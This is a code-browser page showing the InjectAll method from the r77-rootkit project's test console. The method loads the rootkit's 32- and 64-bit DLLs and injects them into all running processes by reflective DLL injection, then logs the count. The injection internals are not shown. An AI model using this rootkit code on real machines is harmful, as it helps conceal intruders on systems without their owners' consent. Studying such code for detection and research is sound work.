MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / InjectAll

Method InjectAll

TestConsole/Helper/ProcessList.cs:163–196  ·  view source on GitHub ↗

Injects all processes with the r77 DLL using reflective DLL injection.

()

Source from the content-addressed store, hash-verified

161 /// Injects all processes with the r77 DLL using reflective DLL injection.
162 /// </summary>
163 public static async Task InjectAll()
164 {
165 await Task.Run(() =>
166 {
167 if (ApplicationDirectory.GetFilePath("r77-x86.dll") is not string dll32Path)
168 {
169 return;
170 }
171
172 if (ApplicationDirectory.GetFilePath("r77-x64.dll") is not string dll64Path)
173 {
174 return;
175 }
176
177 int injectedCount = GetInjectedCount();
178
179 if (!HelperDll.InjectAll(File.ReadAllBytes(dll32Path), File.ReadAllBytes(dll64Path)))
180 {
181 Log.Error(new LogTextItem("Injecting processes failed."));
182 return;
183 }
184
185 int newInjectedCount = GetInjectedCount();
186
187 if (newInjectedCount == injectedCount)
188 {
189 Log.Information(new LogTextItem("No processes were injected"));
190 }
191 else if (newInjectedCount > injectedCount)
192 {
193 Log.Information(new LogTextItem($"Injected {newInjectedCount - injectedCount} processes."));
194 }
195 });
196 }
197 /// <summary>
198 /// Detaches r77 from all running processes.
199 /// </summary>

Callers

nothing calls this directly

Calls 3

GetFilePathMethod · 0.80
ErrorMethod · 0.80
InformationMethod · 0.80

Tested by

no test coverage detected